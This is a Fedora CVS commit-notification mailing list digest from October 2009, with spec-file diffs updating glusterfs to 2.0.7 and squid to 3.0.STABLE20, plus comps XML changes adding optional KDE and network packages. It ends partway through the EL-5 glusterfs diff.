--- .cvsignore	18 May 2009 10:09:47 -0000	1.8
+++ .cvsignore	31 Oct 2009 21:01:44 -0000	1.9
@@ -1 +1 @@
-glusterfs-2.0.1.tar.gz
+glusterfs-2.0.7.tar.gz


Index: glusterfs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/glusterfs/F-11/glusterfs.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- glusterfs.spec	11 Jun 2009 12:08:10 -0000	1.13
+++ glusterfs.spec	31 Oct 2009 21:01:44 -0000	1.14
@@ -1,39 +1,43 @@
 #define pre rc8
+## NOTE: Lots of files in various subdirectories have the same name (such as
+## "LICENSE") so this short macro allows us to distinguish them by using their
+## directory names (from the source tree) as prefixes for the files.
+## Usage: add_to_doc_files subdirname files
+%define add_to_doc_files() \
+%{__mkdir_p} %{buildroot}%{_docdir}/%{name}-%{version}/%1 ||: ; \
+%{__cp} -p %2 %{buildroot}%{_docdir}/%{name}-%{version}/%1 
 
 # Possible rpmbuild options
 %{?_without_ibverbs:%define _without_ibverbs --disable-ibverbs}
 %{?_without_client:%define _without_client --disable-fuse-client}
 %{?_without_python:%define _without_python --disable-python}
 
-# Default to disabling client on RHEL, but allow forcing --with client too
-%{?rhel:%{!?_with_client:%define _without_client --disable-fuse-client}}
-
 # Disable the python bindings if we have < 2.4, since 2.4+ is required
 %if "%(%{__python} -c "import sys ; print sys.version[:3]")" < "2.4"
 %define _without_python --disable-python
 %endif
 
-Summary: Cluster File System
-Name: glusterfs
-Version: 2.0.1
-Release: 2%{?pre:.%{pre}}%{?dist}
-License: GPLv3+
-Group: System Environment/Base
-URL: http://www.gluster.org/docs/index.php/GlusterFS
-Source0: http://ftp.zresearch.com/pub/gluster/glusterfs/2.0/%{version}/glusterfs-%{version}%{?pre}.tar.gz
-Source1: glusterfsd.init
-Source2: glusterfsd.sysconfig
-Source3: umount.glusterfs
-Source4: glusterfs.logrotate
-Source5: glusterfsd.logrotate
-BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
+Summary: 	Cluster File System
+Name: 		glusterfs
+Version: 	2.0.7
+Release: 	1%{?pre:.%{pre}}%{?dist}
+License: 	GPLv3+
+Group: 		System Environment/Base
+URL: 		http://www.gluster.org/
+Source0: 	http://ftp.gluster.com/pub/gluster/glusterfs/2.0/%{version}/glusterfs-%{version}%{?pre}.tar.gz
+Source1: 	glusterfsd.init
+Source2: 	glusterfsd.sysconfig
+Source3: 	umount.glusterfs
+Source4: 	glusterfs.logrotate
+Source5: 	glusterfsd.logrotate
+BuildRoot: 	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires(post): /sbin/chkconfig
 Requires(preun): /sbin/service, /sbin/chkconfig
 Requires(postun): /sbin/service
 %{!?_without_ibverbs:BuildRequires: libibverbs-devel}
 %{!?_without_client:BuildRequires: fuse-devel}
 %{!?_without_python:BuildRequires: python-devel}
-BuildRequires: flex, bison, byacc
+BuildRequires: 	flex, bison, byacc
 
 %description
 GlusterFS is a clustered file-system capable of scaling to several
@@ -46,10 +50,10 @@ is in userspace and easily manageable.
 
 
 %package common
-Summary: GlusterFS common files for both the client and the server
-Group: System Environment/Libraries
-Obsoletes: glusterfs-libs < 2.0.0
-Provides: glusterfs-libs = %{version}-%{release}
+Summary: 	GlusterFS common files for both the client and the server
+Group: 		System Environment/Libraries
+Obsoletes: 	glusterfs-libs < 2.0.0
+Provides: 	glusterfs-libs = %{version}-%{release}
 
 %description common
 GlusterFS is a clustered file-system capable of scaling to several
@@ -65,10 +69,10 @@ translator modules common to both Gluste
 
 
 %package client
-Summary: GlusterFS Client
-Group: Applications/File
-Requires: fuse
-Requires: %{name}-common = %{version}-%{release}
+Summary: 	GlusterFS Client
+Group: 		Applications/File
+Requires: 	fuse
+Requires: 	%{name}-common = %{version}-%{release}
 
 %description client
 GlusterFS is a clustered file-system capable of scaling to several
@@ -83,9 +87,9 @@ This package provides the FUSE based Glu
 
 
 %package server
-Summary: GlusterFS Server
-Group: System Environment/Daemons
-Requires: %{name}-common = %{version}-%{release}
+Summary: 	GlusterFS Server
+Group: 		System Environment/Daemons
+Requires: 	%{name}-common = %{version}-%{release}
 
 %description server
 GlusterFS is a clustered file-system capable of scaling to several
@@ -98,11 +102,10 @@ is in userspace and easily manageable.
 
 This package provides the glusterfs server daemon.
 
-
 %package devel
-Summary: GlusterFS Development Libraries
-Group: Development/Libraries
-Requires: %{name}-common = %{version}-%{release}
+Summary: 	GlusterFS Development Libraries
+Group: 		Development/Libraries
+Requires: 	%{name}-common = %{version}-%{release}
 
 %description devel
 GlusterFS is a clustered file-system capable of scaling to several
@@ -174,6 +177,13 @@ done
 %{__install} -D -p -m 0644 %{SOURCE5} \
     %{buildroot}%{_sysconfdir}/logrotate.d/glusterfsd
 
+# Install volgen tool
+%{__install} -D -p -m 0755 extras/glusterfs-volgen.py \
+    %{buildroot}%{_bindir}/glusterfs-volgen
+
+# Install extra documentation
+%add_to_doc_files benchmarking extras/benchmarking/{*.c,README,*.sh}
+
 
 %clean
 %{__rm} -rf %{buildroot}
@@ -200,11 +210,13 @@ fi
 
 
 %files common
-%doc AUTHORS ChangeLog COPYING NEWS README
+%doc AUTHORS ChangeLog COPYING NEWS README extras/{glusterfs-mode.el,glusterfs.vim}
+%{_docdir}/%{name}-%{version}/benchmarking
 %{_libdir}/glusterfs/
 %{_libdir}/*.so.*
 %{_sbindir}/glusterfs
 %{_sbindir}/glusterfsd
+%{_bindir}/glusterfs-volgen
 %{_mandir}/man8/glusterfs.8*
 %dir /var/log/glusterfs/
 
@@ -235,6 +247,23 @@ fi
 
 
 %changelog
+* Sat Oct 31 2009 Jonathan Steffan <jsteffan at fedoraproject.org> - 2.0.7-1
+- Update to 2.0.7
+- Install glusterfs-volgen, until it's properly added to automake
+  by upstream
+- Add macro to be able to ship more docs
+
+* Thu Sep 17 2009 Peter Lemenkov <lemenkov at gmail.com> 2.0.6-2
+- Rebuilt with new fuse
+
+* Sat Sep 12 2009 Matthias Saou <http://freshrpms.net/> 2.0.6-1
+- Update to 2.0.6.
+- No longer default to disable the client on RHEL5 (#522192).
+- Update spec file URLs.
+
+* Mon Jul 27 2009 Matthias Saou <http://freshrpms.net/> 2.0.4-1
+- Update to 2.0.4.
+
 * Thu Jun 11 2009 Matthias Saou <http://freshrpms.net/> 2.0.1-2
 - Remove libglusterfs/src/y.tab.c to fix koji F11/devel builds.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/glusterfs/F-11/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	18 May 2009 10:09:47 -0000	1.8
+++ sources	31 Oct 2009 21:01:44 -0000	1.9
@@ -1 +1 @@
-712b6325abbd9f89ac927727a4bad658  glusterfs-2.0.1.tar.gz
+ed8968a8671fecd7f7eec7c746c8608c  glusterfs-2.0.7.tar.gz



From jsteffan at fedoraproject.org  Sat Oct 31 21:02:38 2009
From: jsteffan at fedoraproject.org (Jonathan Steffan)
Date: Sat, 31 Oct 2009 21:02:38 +0000 (UTC)
Subject: rpms/glusterfs/F-12 import.log, NONE, 1.1 .cvsignore, 1.10,
	1.11 glusterfs.spec, 1.15, 1.16 sources, 1.10, 1.11
Message-ID: <20091031210238.A3C5711C00EF@cvs1.fedora.phx.redhat.com>

Author: jsteffan

Update of /cvs/pkgs/rpms/glusterfs/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15500/F-12

Modified Files:
	.cvsignore glusterfs.spec sources 
Added Files:
	import.log 
Log Message:
Update to 2.0.7. Add glusterfs-volgen. Ship more docs.



--- NEW FILE import.log ---
glusterfs-2_0_7-1_fc11:F-12:glusterfs-2.0.7-1.fc11.src.rpm:1257022867


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/glusterfs/F-12/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	12 Sep 2009 17:38:59 -0000	1.10
+++ .cvsignore	31 Oct 2009 21:02:38 -0000	1.11
@@ -1 +1 @@
-glusterfs-2.0.6.tar.gz
+glusterfs-2.0.7.tar.gz


Index: glusterfs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/glusterfs/F-12/glusterfs.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- glusterfs.spec	17 Sep 2009 06:25:49 -0000	1.15
+++ glusterfs.spec	31 Oct 2009 21:02:38 -0000	1.16
@@ -1,4 +1,11 @@
 #define pre rc8
+## NOTE: Lots of files in various subdirectories have the same name (such as
+## "LICENSE") so this short macro allows us to distinguish them by using their
+## directory names (from the source tree) as prefixes for the files.
+## Usage: add_to_doc_files subdirname files
+%define add_to_doc_files() \
+%{__mkdir_p} %{buildroot}%{_docdir}/%{name}-%{version}/%1 ||: ; \
+%{__cp} -p %2 %{buildroot}%{_docdir}/%{name}-%{version}/%1 
 
 # Possible rpmbuild options
 %{?_without_ibverbs:%define _without_ibverbs --disable-ibverbs}
@@ -10,27 +17,27 @@
 %define _without_python --disable-python
 %endif
 
-Summary: Cluster File System
-Name: glusterfs
-Version: 2.0.6
-Release: 2%{?pre:.%{pre}}%{?dist}
-License: GPLv3+
-Group: System Environment/Base
-URL: http://www.gluster.org/
-Source0: http://ftp.gluster.com/pub/gluster/glusterfs/2.0/%{version}/glusterfs-%{version}%{?pre}.tar.gz
-Source1: glusterfsd.init
-Source2: glusterfsd.sysconfig
-Source3: umount.glusterfs
-Source4: glusterfs.logrotate
-Source5: glusterfsd.logrotate
-BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
+Summary: 	Cluster File System
+Name: 		glusterfs
+Version: 	2.0.7
+Release: 	1%{?pre:.%{pre}}%{?dist}
+License: 	GPLv3+
+Group: 		System Environment/Base
+URL: 		http://www.gluster.org/
+Source0: 	http://ftp.gluster.com/pub/gluster/glusterfs/2.0/%{version}/glusterfs-%{version}%{?pre}.tar.gz
+Source1: 	glusterfsd.init
+Source2: 	glusterfsd.sysconfig
+Source3: 	umount.glusterfs
+Source4: 	glusterfs.logrotate
+Source5: 	glusterfsd.logrotate
+BuildRoot: 	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires(post): /sbin/chkconfig
 Requires(preun): /sbin/service, /sbin/chkconfig
 Requires(postun): /sbin/service
 %{!?_without_ibverbs:BuildRequires: libibverbs-devel}
 %{!?_without_client:BuildRequires: fuse-devel}
 %{!?_without_python:BuildRequires: python-devel}
-BuildRequires: flex, bison, byacc
+BuildRequires: 	flex, bison, byacc
 
 %description
 GlusterFS is a clustered file-system capable of scaling to several
@@ -43,10 +50,10 @@ is in userspace and easily manageable.
 
 
 %package common
-Summary: GlusterFS common files for both the client and the server
-Group: System Environment/Libraries
-Obsoletes: glusterfs-libs < 2.0.0
-Provides: glusterfs-libs = %{version}-%{release}
+Summary: 	GlusterFS common files for both the client and the server
+Group: 		System Environment/Libraries
+Obsoletes: 	glusterfs-libs < 2.0.0
+Provides: 	glusterfs-libs = %{version}-%{release}
 
 %description common
 GlusterFS is a clustered file-system capable of scaling to several
@@ -62,10 +69,10 @@ translator modules common to both Gluste
 
 
 %package client
-Summary: GlusterFS Client
-Group: Applications/File
-Requires: fuse
-Requires: %{name}-common = %{version}-%{release}
+Summary: 	GlusterFS Client
+Group: 		Applications/File
+Requires: 	fuse
+Requires: 	%{name}-common = %{version}-%{release}
 
 %description client
 GlusterFS is a clustered file-system capable of scaling to several
@@ -80,9 +87,9 @@ This package provides the FUSE based Glu
 
 
 %package server
-Summary: GlusterFS Server
-Group: System Environment/Daemons
-Requires: %{name}-common = %{version}-%{release}
+Summary: 	GlusterFS Server
+Group: 		System Environment/Daemons
+Requires: 	%{name}-common = %{version}-%{release}
 
 %description server
 GlusterFS is a clustered file-system capable of scaling to several
@@ -95,11 +102,10 @@ is in userspace and easily manageable.
 
 This package provides the glusterfs server daemon.
 
-
 %package devel
-Summary: GlusterFS Development Libraries
-Group: Development/Libraries
-Requires: %{name}-common = %{version}-%{release}
+Summary: 	GlusterFS Development Libraries
+Group: 		Development/Libraries
+Requires: 	%{name}-common = %{version}-%{release}
 
 %description devel
 GlusterFS is a clustered file-system capable of scaling to several
@@ -171,6 +177,13 @@ done
 %{__install} -D -p -m 0644 %{SOURCE5} \
     %{buildroot}%{_sysconfdir}/logrotate.d/glusterfsd
 
+# Install volgen tool
+%{__install} -D -p -m 0755 extras/glusterfs-volgen.py \
+    %{buildroot}%{_bindir}/glusterfs-volgen
+
+# Install extra documentation
+%add_to_doc_files benchmarking extras/benchmarking/{*.c,README,*.sh}
+
 
 %clean
 %{__rm} -rf %{buildroot}
@@ -197,11 +210,13 @@ fi
 
 
 %files common
-%doc AUTHORS ChangeLog COPYING NEWS README
+%doc AUTHORS ChangeLog COPYING NEWS README extras/{glusterfs-mode.el,glusterfs.vim}
+%{_docdir}/%{name}-%{version}/benchmarking
 %{_libdir}/glusterfs/
 %{_libdir}/*.so.*
 %{_sbindir}/glusterfs
 %{_sbindir}/glusterfsd
+%{_bindir}/glusterfs-volgen
 %{_mandir}/man8/glusterfs.8*
 %dir /var/log/glusterfs/
 
@@ -232,6 +247,12 @@ fi
 
 
 %changelog
+* Sat Oct 31 2009 Jonathan Steffan <jsteffan at fedoraproject.org> - 2.0.7-1
+- Update to 2.0.7
+- Install glusterfs-volgen, until it's properly added to automake
+  by upstream
+- Add macro to be able to ship more docs
+
 * Thu Sep 17 2009 Peter Lemenkov <lemenkov at gmail.com> 2.0.6-2
 - Rebuilt with new fuse
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/glusterfs/F-12/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	12 Sep 2009 17:38:59 -0000	1.10
+++ sources	31 Oct 2009 21:02:38 -0000	1.11
@@ -1 +1 @@
-dfa42bfc34d799888a1e3032f9143c72  glusterfs-2.0.6.tar.gz
+ed8968a8671fecd7f7eec7c746c8608c  glusterfs-2.0.7.tar.gz



From hno at fedoraproject.org  Sat Oct 31 21:04:01 2009
From: hno at fedoraproject.org (=?utf-8?q?Henrik_Nordstr=C3=B6m?=)
Date: Sat, 31 Oct 2009 21:04:01 +0000 (UTC)
Subject: rpms/squid/F-10 .cvsignore, 1.44, 1.45 sources, 1.48,
	1.49 squid.spec, 1.122, 1.123
Message-ID: <20091031210401.2F9B911C00EF@cvs1.fedora.phx.redhat.com>

Author: hno

Update of /cvs/pkgs/rpms/squid/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16037

Modified Files:
	.cvsignore sources squid.spec 
Log Message:
3.0.STABLE20


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/squid/F-10/.cvsignore,v
retrieving revision 1.44
retrieving revision 1.45
diff -u -p -r1.44 -r1.45
--- .cvsignore	10 Sep 2009 22:18:59 -0000	1.44
+++ .cvsignore	31 Oct 2009 21:04:00 -0000	1.45
@@ -1 +1 @@
-squid-3.0.STABLE19.tar.bz2
+squid-3.0.STABLE20.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/squid/F-10/sources,v
retrieving revision 1.48
retrieving revision 1.49
diff -u -p -r1.48 -r1.49
--- sources	10 Sep 2009 22:19:00 -0000	1.48
+++ sources	31 Oct 2009 21:04:00 -0000	1.49
@@ -1 +1 @@
-edf0f2baf06d342652f06d131f8a6082  squid-3.0.STABLE19.tar.bz2
+9efcbdda8045d2a9eb5d9915449ef175  squid-3.0.STABLE20.tar.bz2


Index: squid.spec
===================================================================
RCS file: /cvs/pkgs/rpms/squid/F-10/squid.spec,v
retrieving revision 1.122
retrieving revision 1.123
diff -u -p -r1.122 -r1.123
--- squid.spec	19 Sep 2009 22:22:06 -0000	1.122
+++ squid.spec	31 Oct 2009 21:04:00 -0000	1.123
@@ -3,8 +3,8 @@
 ## % define __find_requires %{SOURCE99}
 
 Name:     squid
-Version:  3.0.STABLE19
-Release:  3%{?dist}
+Version:  3.0.STABLE20
+Release:  2%{?dist}
 Summary:  The Squid proxy caching server
 Epoch:    7
 License:  GPLv2+
@@ -23,10 +23,8 @@ Source98: perl-requires-squid.sh
 # Upstream patches
 #Patch001: http://www.squid-cache.org/Versions/v3/3.0/changesets/bXXXX.patch
 
-
 # Backported patches
-# http://www.squid-cache.org/Versions/v3/HEAD/changesets/squid-3-9986.patch
-Patch101: squid-3.0.STABLE19-3-9986.patch
+#Patch101: squid-3.0.STABLE19-3-9986.patch
 
 # Local patches
 # Applying upstream patches first makes it less likely that local patches
@@ -62,7 +60,6 @@ lookup program (dnsserver), a program fo
 %prep
 %setup -q
 
-%patch101 -p1 -b .3-9986
 %patch201 -p1 -b .config
 %patch202 -p1 -b .location
 %patch203 -p1 -b .build
@@ -344,6 +341,10 @@ fi
     chgrp squid /var/cache/samba/winbindd_privileged >/dev/null 2>&1 || :
 
 %changelog
+* Sat Oct 31 2009 Henrik Nordstrom <henrik at henriknordstrom.net> 7:3.0.STABLE20-2
+- Update to 3.0.STABLE20, with several important bugfixes among
+  one client cache corruption issue (mixup of 304 responses).
+
 * Sun Sep 20 2009 Henrik Nordstrom <henrik at henriknordstrom.net> 7:3.0.STABLE19-3
 - Patch for Squid Bug #2626: Invalid response for IMS request
 



From hno at fedoraproject.org  Sat Oct 31 21:08:54 2009
From: hno at fedoraproject.org (=?utf-8?q?Henrik_Nordstr=C3=B6m?=)
Date: Sat, 31 Oct 2009 21:08:54 +0000 (UTC)
Subject: rpms/squid/F-11 squid-3.0.STABLE13-gcc44.patch,1.1,NONE
Message-ID: <20091031210854.E275611C00EF@cvs1.fedora.phx.redhat.com>

Author: hno

Update of /cvs/pkgs/rpms/squid/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17499

Removed Files:
	squid-3.0.STABLE13-gcc44.patch 
Log Message:
Remove obsolete patches


--- squid-3.0.STABLE13-gcc44.patch DELETED ---



From nucleo at fedoraproject.org  Sat Oct 31 21:19:15 2009
From: nucleo at fedoraproject.org (nucleo)
Date: Sat, 31 Oct 2009 21:19:15 +0000 (UTC)
Subject: comps comps-f10.xml.in, 1.289, 1.290 comps-f11.xml.in, 1.323,
	1.324 comps-f12.xml.in, 1.179, 1.180 comps-f13.xml.in, 1.68, 1.69
Message-ID: <20091031211915.7096F11C00EF@cvs1.fedora.phx.redhat.com>

Author: nucleo

Update of /cvs/pkgs/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19440

Modified Files:
	comps-f10.xml.in comps-f11.xml.in comps-f12.xml.in 
	comps-f13.xml.in 
Log Message:

Added kcometen4, kde-colorscheme-plastik, klatexformula, knemo, kvirc, netstat-nat, psimedia to F10 and F11.
Added kvirc to graphical-internet group to F12 and F13



Index: comps-f10.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f10.xml.in,v
retrieving revision 1.289
retrieving revision 1.290
diff -u -p -r1.289 -r1.290
--- comps-f10.xml.in	31 Oct 2009 05:17:28 -0000	1.289
+++ comps-f10.xml.in	31 Oct 2009 21:19:14 -0000	1.290
@@ -2233,6 +2233,7 @@
       <packagereq type="optional">kita</packagereq>
       <packagereq type="optional">knetstats</packagereq>
       <packagereq type="optional">konversation</packagereq>
+      <packagereq type="optional">kvirc</packagereq>
       <packagereq type="optional">licq</packagereq>
       <packagereq type="optional">liferea</packagereq>
       <packagereq type="optional">linphone</packagereq>
@@ -2250,6 +2251,7 @@
       <packagereq type="optional">pidgin-libnotify</packagereq>
       <packagereq type="optional">prozilla</packagereq>
       <packagereq type="optional">psi</packagereq>
+      <packagereq type="optional">psimedia</packagereq>
       <packagereq type="optional">putty</packagereq>
       <packagereq type="optional">seamonkey</packagereq>
       <packagereq type="optional">streamtuner</packagereq>
@@ -3049,6 +3051,7 @@
       <packagereq type="optional">kbilliards</packagereq>
       <packagereq type="optional">kchmviewer</packagereq>
       <packagereq type="optional">kcoloredit</packagereq>
+      <packagereq type="optional">kcometen4</packagereq>
       <packagereq type="optional">kdeadmin</packagereq>
       <packagereq type="optional">kdeartwork-screensavers</packagereq>
       <packagereq type="optional">kdeartwork-sounds</packagereq>
@@ -3057,6 +3060,7 @@
       <packagereq type="optional">kdebase-workspace-python-applet</packagereq>
       <packagereq type="optional">kdebase-workspace-wallpapers</packagereq>
       <packagereq type="optional">kdeclassic-icon-theme</packagereq>
+      <packagereq type="optional">kde-colorscheme-plastik</packagereq>
       <packagereq type="optional">kdeedu</packagereq>
       <packagereq type="optional">kdetoys</packagereq>
       <packagereq type="optional">kdissert</packagereq>
@@ -3072,6 +3076,7 @@
       <packagereq type="optional">kmid</packagereq>
       <packagereq type="optional">kmobiletools</packagereq>
       <packagereq type="optional">kmymoney2</packagereq>
+      <packagereq type="optional">knemo</packagereq>
       <packagereq type="optional">kobby</packagereq>
       <packagereq type="optional">koffice-suite</packagereq>
       <packagereq type="optional">kompose</packagereq>
@@ -3085,6 +3090,7 @@
       <packagereq type="optional">kshutdown</packagereq>
       <packagereq type="optional">ksig</packagereq>
       <packagereq type="optional">ksynaptics</packagereq>
+      <packagereq type="optional">kvirc</packagereq>
       <packagereq type="optional">kyum</packagereq>
       <packagereq type="optional">metamonitor</packagereq>
       <packagereq type="optional">oooqs2</packagereq>
@@ -3767,6 +3773,7 @@
       <packagereq type="optional">jpilot</packagereq>
       <packagereq type="optional">kdepim</packagereq>
       <packagereq type="optional">keurocalc</packagereq>
+      <packagereq type="optional">klatexformula</packagereq>
       <packagereq type="optional">kmymoney2</packagereq>
       <packagereq type="optional">koffice-suite</packagereq>
       <packagereq type="optional">krecipes</packagereq>
@@ -4534,6 +4541,7 @@
       <packagereq type="optional">munin</packagereq>
       <packagereq type="optional">nagios</packagereq>
       <packagereq type="optional">net-snmp-utils</packagereq>
+      <packagereq type="optional">netstat-nat</packagereq>
       <packagereq type="optional">netgo</packagereq>
       <packagereq type="optional">nfswatch</packagereq>
       <packagereq type="optional">nmap-frontend</packagereq>


Index: comps-f11.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f11.xml.in,v
retrieving revision 1.323
retrieving revision 1.324
diff -u -p -r1.323 -r1.324
--- comps-f11.xml.in	31 Oct 2009 18:10:13 -0000	1.323
+++ comps-f11.xml.in	31 Oct 2009 21:19:14 -0000	1.324
@@ -2608,6 +2608,7 @@
       <packagereq type="optional">kita</packagereq>
       <packagereq type="optional">knetstats</packagereq>
       <packagereq type="optional">konversation</packagereq>
+      <packagereq type="optional">kvirc</packagereq>
       <packagereq type="optional">licq</packagereq>
       <packagereq type="optional">liferea</packagereq>
       <packagereq type="optional">linphone</packagereq>
@@ -2623,6 +2624,7 @@
       <packagereq type="optional">pidgin-libnotify</packagereq>
       <packagereq type="optional">prozilla</packagereq>
       <packagereq type="optional">psi</packagereq>
+      <packagereq type="optional">psimedia</packagereq>
       <packagereq type="optional">putty</packagereq>
       <packagereq type="optional">seamonkey</packagereq>
       <packagereq type="optional">streamtuner</packagereq>
@@ -3502,6 +3504,7 @@
       <packagereq type="optional">kbilliards</packagereq>
       <packagereq type="optional">kchmviewer</packagereq>
       <packagereq type="optional">kcoloredit</packagereq>
+      <packagereq type="optional">kcometen4</packagereq>
       <packagereq type="optional">kdeadmin</packagereq>
       <packagereq type="optional">kdeartwork</packagereq>
       <packagereq type="optional">kdeartwork-sounds</packagereq>
@@ -3510,6 +3513,7 @@
       <packagereq type="optional">kdebase-workspace-python-applet</packagereq>
       <packagereq type="optional">kdebase-workspace-wallpapers</packagereq>
       <packagereq type="optional">kdeclassic-icon-theme</packagereq>
+      <packagereq type="optional">kde-colorscheme-plastik</packagereq>
       <packagereq type="optional">kdeedu</packagereq>
       <packagereq type="optional">kdetoys</packagereq>
       <packagereq type="optional">kdissert</packagereq>
@@ -3523,6 +3527,7 @@
       <packagereq type="optional">kmenu-gnome</packagereq>
       <packagereq type="optional">kmid</packagereq>
       <packagereq type="optional">kmymoney2</packagereq>
+      <packagereq type="optional">knemo</packagereq>
       <packagereq type="optional">kobby</packagereq>
       <packagereq type="optional">koffice-suite</packagereq>
       <packagereq type="optional">koverartist</packagereq>
@@ -3532,6 +3537,7 @@
       <packagereq type="optional">ksensors</packagereq>
       <packagereq type="optional">kshutdown</packagereq>
       <packagereq type="optional">ksig</packagereq>
+      <packagereq type="optional">kvirc</packagereq>
       <packagereq type="optional">leonidas-kde-theme-landscape</packagereq>
       <packagereq type="optional">leonidas-kde-theme-lion</packagereq>
       <packagereq type="optional">metamonitor</packagereq>
@@ -4386,6 +4392,7 @@
       <packagereq type="optional">jpilot</packagereq>
       <packagereq type="optional">kdepim</packagereq>
       <packagereq type="optional">keurocalc</packagereq>
+      <packagereq type="optional">klatexformula</packagereq>
       <packagereq type="optional">kmymoney2</packagereq>
       <packagereq type="optional">koffice-suite</packagereq>
       <packagereq type="optional">krecipes</packagereq>
@@ -5256,6 +5263,7 @@
       <packagereq type="optional">munin</packagereq>
       <packagereq type="optional">nagios</packagereq>
       <packagereq type="optional">net-snmp-utils</packagereq>
+      <packagereq type="optional">netstat-nat</packagereq>
       <packagereq type="optional">netgo</packagereq>
       <packagereq type="optional">nfswatch</packagereq>
       <packagereq type="optional">nmap-frontend</packagereq>


Index: comps-f12.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f12.xml.in,v
retrieving revision 1.179
retrieving revision 1.180
diff -u -p -r1.179 -r1.180
--- comps-f12.xml.in	31 Oct 2009 20:33:18 -0000	1.179
+++ comps-f12.xml.in	31 Oct 2009 21:19:14 -0000	1.180
@@ -2798,6 +2798,7 @@
       <packagereq type="optional">kita</packagereq>
       <packagereq type="optional">knetstats</packagereq>
       <packagereq type="optional">konversation</packagereq>
+      <packagereq type="optional">kvirc</packagereq>
       <packagereq type="optional">licq</packagereq>
       <packagereq type="optional">liferea</packagereq>
       <packagereq type="optional">linphone</packagereq>


Index: comps-f13.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f13.xml.in,v
retrieving revision 1.68
retrieving revision 1.69
diff -u -p -r1.68 -r1.69
--- comps-f13.xml.in	31 Oct 2009 20:33:19 -0000	1.68
+++ comps-f13.xml.in	31 Oct 2009 21:19:14 -0000	1.69
@@ -2797,6 +2797,7 @@
       <packagereq type="optional">kita</packagereq>
       <packagereq type="optional">knetstats</packagereq>
       <packagereq type="optional">konversation</packagereq>
+      <packagereq type="optional">kvirc</packagereq>
       <packagereq type="optional">licq</packagereq>
       <packagereq type="optional">liferea</packagereq>
       <packagereq type="optional">linphone</packagereq>



From jsteffan at fedoraproject.org  Sat Oct 31 21:22:10 2009
From: jsteffan at fedoraproject.org (Jonathan Steffan)
Date: Sat, 31 Oct 2009 21:22:10 +0000 (UTC)
Subject: rpms/glusterfs/EL-5 import.log, NONE, 1.1 .cvsignore, 1.4,
	1.5 glusterfs.spec, 1.6, 1.7 sources, 1.4, 1.5 umount.glusterfs,
	1.1, 1.2
Message-ID: <20091031212210.D0E9C11C00EF@cvs1.fedora.phx.redhat.com>

Author: jsteffan

Update of /cvs/pkgs/rpms/glusterfs/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21143/EL-5

Modified Files:
	.cvsignore glusterfs.spec sources umount.glusterfs 
Added Files:
	import.log 
Log Message:
Update to 2.0.7. Ship new docs and glusterfs-volgen.



--- NEW FILE import.log ---
glusterfs-2_0_7-1_fc11:EL-5:glusterfs-2.0.7-1.fc11.src.rpm:1257023935


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/glusterfs/EL-5/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	12 Sep 2009 17:38:58 -0000	1.4
+++ .cvsignore	31 Oct 2009 21:22:09 -0000	1.5
@@ -1 +1 @@
-glusterfs-2.0.6.tar.gz
+glusterfs-2.0.7.tar.gz


Index: glusterfs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/glusterfs/EL-5/glusterfs.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- glusterfs.spec	12 Sep 2009 17:38:58 -0000	1.6
+++ glusterfs.spec	31 Oct 2009 21:22:10 -0000	1.7
@@ -1,4 +1,11 @@
 #define pre rc8
+## NOTE: Lots of files in various subdirectories have the same name (such as
+## "LICENSE") so this short macro allows us to distinguish them by using their
+## directory names (from the source tree) as prefixes for the files.
+## Usage: add_to_doc_files subdirname files
+%define add_to_doc_files() \
+%{__mkdir_p} %{buildroot}%{_docdir}/%{name}-%{version}/%1 ||: ; \
+%{__cp} -p %2 %{buildroot}%{_docdir}/%{name}-%{version}/%1 
 
 # Possible rpmbuild options
 %{?_without_ibverbs:%define _without_ibverbs --disable-ibverbs}
@@ -10,27 +17,27 @@
 %define _without_python --disable-python
 %endif
 
-Summary: Cluster File System
-Name: glusterfs
-Version: 2.0.6
-Release: 1%{?pre:.%{pre}}%{?dist}
-License: GPLv3+
-Group: System Environment/Base
-URL: http://www.gluster.org/
-Source0: http://ftp.gluster.com/pub/gluster/glusterfs/2.0/%{version}/glusterfs-%{version}%{?pre}.tar.gz
-Source1: glusterfsd.init
-Source2: glusterfsd.sysconfig
-Source3: umount.glusterfs
-Source4: glusterfs.logrotate
-Source5: glusterfsd.logrotate
-BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
+Summary: 	Cluster File System
+Name: 		glusterfs
+Version: 	2.0.7
+Release: 	1%{?pre:.%{pre}}%{?dist}
+License: 	GPLv3+
+Group: 		System Environment/Base
+URL: 		http://www.gluster.org/
